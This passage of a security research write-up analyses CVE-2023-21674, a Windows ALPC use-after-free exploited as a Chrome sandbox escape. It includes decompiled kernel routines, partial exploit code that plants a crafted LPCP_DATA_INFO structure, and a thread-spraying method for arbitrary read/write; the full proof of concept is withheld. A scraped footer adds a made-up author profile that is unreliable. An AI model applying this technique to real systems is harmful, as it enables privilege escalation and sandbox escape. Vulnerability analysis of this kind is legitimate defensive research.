if ( waiting_thread && RtlCompareMemory(&waiting_thread->Cid, &Source2.8, 0x10ui64) == 16 )
{
process = (_EPROCESS *)waiting_thread->Tcb.Process;
ObfReferenceObjectWithTag(process, 0x63706C41u); // Reference
AlpcpUnlockMessage((ULONG_PTR)alpc_message);
v14 = PsOpenProcess(&v26, acess_mask, &v30, (__int128 *)((char *)&Source2 + 8), 0, prev_mode);
ObfDereferenceObjectWithTag(process, 0x63706C41u); // Dereference

...
}

// NtAlpcQueryInformationMessage --> AlpcpQueryTokenModifiedIdMessage -> AlpcpGetEffectiveTokenMessage
__int64 __fastcall AlpcpGetEffectiveTokenMessage(_ALPC_PORT *port_obj, _KALPC_MESSAGE *alpc_message, _QWORD *a3, __int64 a4, _BYTE *a5)
{
...
// Check Port == Server, Message Owner == Client
// 2 ==> Server, 4 ==> Client
owner_port = alpc_message->OwnerPort;
if ( (port_obj->u1.State & 6) != 2 || !owner_port || (owner_port->u1.State & 6) != 4 )
return 0xC0000022i64;
...
// Reference WaitingThread
waiting_thread = alpc_message->WaitingThread;
if ( !waiting_thread )
return 0xC0000022i64;
// Do Something with WaitingThread
result = SeCreateClientSecurityEx(waiting_thread, (__int64)&owner_port->PortAttributes.SecurityQos, 0, a4);
}

However, NtAlpcOpenSenderThread and NtAlpcOpenSenderProcess are not good candidates for exploitation because both are simply referencing and dereferencing the memory area pointed to by the dangling pointer. Also, AlpcpGetEffectiveTokenMessage needs a server & client connection which is not available in a Chrome renderer process due to its untrusted integrity.

Thus we focus on the LpcpCopyRequestData function, which is as follows.

// Called by NtWriteRequestData and NtReadRequestData
NTSTATUS __fastcall LpcpCopyRequestData(
char is_read,
HANDLE hPort,
PORT_MESSAGE *a3,
__int64 dataidx,
char *Address,
SIZE_T Length,
__int64 *a7)
{
...
result = AlpcpLookupMessage(alpc_port, a2a.MessageId, a2a.CallbackId, dataidx, &alpc_message);
if ( result < 0 ) { /* ERROR */ }

waiting_thread = alpc_message->WaitingThread;
if ( waiting_thread )
{
result = 0xC000000D;
v17 = alpc_message;
datainfooffset = alpc_message->PortMessage.u2.s2.DataInfoOffset;
// if the datainfoOffset is set
if ( (_WORD)datainfooffset )
{
/**
Validating the length
.. Omitted ..
**/
// check datainfo->NumberOfEntries > dataindex
datainfo = (PLPCP_DATA_INFO)((char*)alpc_message + datainfooffset);
if ( datainfo->NumberOfEntries > (unsigned int)dataidx )
{
// [11]. datainfo will be retreived from meeesage
*(_OWORD *)datainfo = *(_OWORD *)&datainfo->Entries[dataidx];
result = datainfo->DataLength < Length ? 0xC000000D : 0;
}
}
if ( result >= 0 )
{
CurrentThread = KeGetCurrentThread();
// [12]. from and to address can be controlled from waiting_thread.
if ( is_read )
{
fromproc = (_EPROCESS *)CurrentThread->ApcState.Process;
toaddr = datainfo[0];
toproc = (_EPROCESS *)waiting_thread->Tcb.Process;
fromaddr = Address;
}
else
{
toproc = (_EPROCESS *)CurrentThread->ApcState.Process;
toaddr = Address;
fromaddr = datainfo[0];
fromproc = (_EPROCESS *)waiting_thread->Tcb.Process;
}
// [13]. Copy data `fromaddr` in `fromproc` to `toaddr` of `toproc`
v15 = MmCopyVirtualMemory(fromproc, fromaddr, toproc, toaddr, Length, prev_mode, (__int64)&retsize);
...
}

If DataInfoOffset of an ALPC message is set, a data information object represented by LPCP_DATA_INFO structure is retrieved from the message ([11]).

typedef struct _LPCP_DATA_INFO
{
ULONG NumberOfEntries;
struct
{
PVOID BaseAddress;
ULONG DataLength;
} Entries[1];
} LPCP_DATA_INFO, *PLPCP_DATA_INFO;

We can easily setup a LPCP_DATA_INFO structure in the message like the following.

void SetupDataInfo(ULONG_PTR addr) {
...
RtlSecureZeroMemory(&pmSend, sizeof(pmSend));
pmSend.u1.s1.DataLength = MSG_LEN;
pmSend.u1.s1.TotalLength = pmSend.u1.s1.DataLength + sizeof(pmSend);
pmSend.MessageId = messageid;
pmSend.CallbackId = callbackid;
pmSend.u2.s2.DataInfoOffset = 0x30;
lpMem = CreateMsgMem(&pmSend, MSG_LEN, (LPVOID)longstr);

PLPCP_DATA_INFO datainfo = (PLPCP_DATA_INFO)((ULONG_PTR)lpMem + pmSend.u2.s2.DataInfoOffset);

datainfo->NumberOfEntries = NumOfEntries; // CNT
for (int i = 0; i < NumOfEntries; i++) {
datainfo->Entries[i].BaseAddress = (PVOID)addrs[i]; // Address
datainfo->Entries[i].DataLength = (ULONG)0x1000; // Size
}

pwfdw->AlpcSendMessage = (PPORT_MESSAGE)lpMem;
pwfdw->AlpcSendMessagePort = hPort;
pwfdw->AlpcSendMessageFlags = (1 << 0x11); // ALPC_MSGFLG_SYNC_REQUEST
pwfdw->Flags = 0x1;

ULONG outlen = 0;

NtWaitForWorkViaWorkerFactory(hWorkerFactory, piocomp, 1, &outlen, pwfdw);
}

Finally, the address in LPCP_DATA_INFO structure is read/written via MmCopyVirtualMemory ([13]). Since the target process address is gotten from waiting_thread which is a freed pointer, we can set it to an arbitrary value.

However, it is not easy to construct a fake _EPROCESS structure without another information disclosure vulnerability. So instead of using a fake _EPROCESS, we can utilize a thread of a high privileged process. If the thread of a high privileged process is allocated into the same memory region pointed to by the dangling pointer, we can achieve arbitrary read/write primitives in the process.

To spray threads of a high privileged process, we used showOpenFilePicker(); when the API is called, Chrome creates a new process in medium integrity. Also, the file picker process spawns many threads on creation, which makes it suitable for exploitation.

Chaining N-days to Compromise All: Part 2 — Windows Kernel LPE (a.k.a Chrome Sandbox Escape) (8)

By utilizing arbitrary read/write primitives on the file picker process, we can eventually execute arbitrary code, in medium integrity.

More detailed information including PoC & exploit code is in Fermium-252: The Cyber Threat Intelligence Database. If you are interested in Fermium-252 service, contact us at contacts@theori.io.

This post provided the analysis on CVE-2023–21674 which is exploited in our 1-day full chain demo. The next post will be about windows LPE, CVE-2023–29360, which is exploited in Pwn2Own Vancouver 2023.

🔵 website: https://theori.io ✉️ vr@theori.io

Chaining N-days to Compromise All: Part 2 — Windows Kernel LPE (a.k.a Chrome Sandbox Escape) (2024)
Top Articles
Latest Posts
Article information

Author: Van Hayes

Last Updated:

Views: 5888

Rating: 4.6 / 5 (66 voted)

Reviews: 81% of readers found this page helpful

Author information

Name: Van Hayes

Birthday: 1994-06-07

Address: 2004 Kling Rapid, New Destiny, MT 64658-2367

Phone: +512425013758

Job: National Farming Director

Hobby: Reading, Polo, Genealogy, amateur radio, Scouting, Stand-up comedy, Cryptography

Introduction: My name is Van Hayes, I am a thankful, friendly, smiling, calm, powerful, fine, enthusiastic person who loves writing and wants to share my knowledge and understanding with you.